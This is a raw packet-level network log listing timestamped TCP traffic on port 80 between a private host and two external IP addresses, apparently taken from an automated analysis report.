Nov 1, 2024 00:38:24.004515886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.004529953 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.004537106 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.004540920 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.004550934 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.004554033 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.004565954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.004579067 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.004580021 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.004590988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.004601002 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.004620075 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.005120039 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025353909 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025376081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025388002 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025434017 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025434971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025448084 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025459051 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025470972 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025474072 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025496006 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025602102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025612116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025624037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025640965 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025664091 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025669098 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025680065 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025695086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025712967 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025724888 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025734901 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025772095 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025897026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025907993 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025918007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025937080 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025950909 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.025964022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025974989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.025999069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026010036 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026020050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026037931 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.026048899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026060104 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026072025 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026082039 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026092052 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.026118994 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.026305914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026345015 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.026421070 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026432991 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026444912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026456118 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026468992 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.026468992 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026482105 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026489973 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.026494026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.026526928 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111437082 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111457109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111469984 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111479998 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111490965 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111502886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111515045 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111587048 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111588955 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111603022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111615896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111625910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111638069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111643076 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111649990 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111661911 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111671925 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111675024 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111700058 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111711025 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111711025 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111722946 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111743927 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111743927 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111761093 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111787081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111797094 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111831903 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111836910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111849070 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111860037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111876965 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111886024 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111886978 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111907959 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111926079 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.111953974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111963987 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111974001 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.111995935 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112071991 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112082958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112093925 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112106085 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112123013 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112123966 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112134933 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112148046 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112157106 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112159967 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112174034 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112180948 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112229109 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112274885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112284899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112306118 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112315893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112324953 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112329960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112344027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112359047 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112368107 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112377882 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112389088 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112391949 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112401009 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112420082 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112440109 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112540007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112550974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112561941 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112596989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112607956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112627029 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112643957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112652063 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112654924 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112665892 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112670898 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112677097 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112689018 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112708092 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112716913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112728119 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112735987 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112767935 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112782001 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112793922 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112804890 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112814903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112828970 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112859964 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112874031 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112884045 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112885952 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112921953 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.112956047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112967014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112978935 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.112991095 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113009930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113022089 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113032103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113048077 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113065958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113075972 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113082886 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113092899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113102913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113109112 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113114119 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113168001 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113200903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113212109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113221884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113254070 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113287926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113305092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113316059 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113327980 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113333941 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113341093 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113380909 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113398075 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113415003 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113424063 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113426924 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113440990 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113455057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113465071 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113476992 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113498926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113507986 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113511086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113555908 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113599062 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113610983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113648891 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113670111 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113679886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113691092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113702059 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113713980 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113717079 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113734007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113739014 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113745928 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113759041 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113770008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113792896 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113815069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113825083 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113848925 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113887072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113924980 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113943100 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113955975 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113965988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113965988 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.113977909 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.113993883 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114012003 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114379883 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114387035 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114391088 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114403009 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114417076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114422083 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114428997 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114440918 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114444017 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114454031 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114471912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114480972 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114486933 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114491940 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114499092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114523888 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114543915 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114594936 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114639997 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114653111 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114665985 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114686012 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114712000 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114712000 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114818096 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114829063 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114840031 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114864111 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114898920 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114900112 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114912987 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114923954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114934921 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114947081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114947081 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114958048 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114975929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.114983082 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.114986897 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115000963 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115011930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115015030 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115022898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115036964 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115041971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115060091 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115061045 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115072966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115086079 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115117073 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115150928 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115160942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115170956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115183115 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115211010 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115251064 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115272999 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115283966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115297079 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115320921 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115335941 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115348101 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115358114 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115376949 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115386009 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115396976 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115406990 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115417004 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115437984 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115704060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115756989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115772009 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115808964 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115818024 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115829945 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115869045 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115895033 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115906954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115917921 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115928888 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115940094 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115952015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.115967035 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.115998983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.116000891 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.116010904 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.116046906 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.116074085 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.116086960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.116099119 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:24.116126060 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.118074894 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.118988991 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:24.702317953 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:38.808280945 CET	49866	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:38.971235991 CET	80	49866	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:38.971375942 CET	49866	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:38.972008944 CET	49866	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:38.978158951 CET	80	49866	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:39.891206026 CET	80	49866	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:39.894527912 CET	49866	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:41.402479887 CET	49866	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:41.402786016 CET	49881	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:41.409040928 CET	80	49881	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:41.409120083 CET	49881	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:41.409236908 CET	49881	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:41.409346104 CET	80	49866	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:41.409409046 CET	49866	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:41.415608883 CET	80	49881	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:42.338849068 CET	80	49881	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:42.338948965 CET	49881	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:42.342583895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:42.349423885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:42.349519014 CET	49887	80	192.168.2.6	185.215.113.16
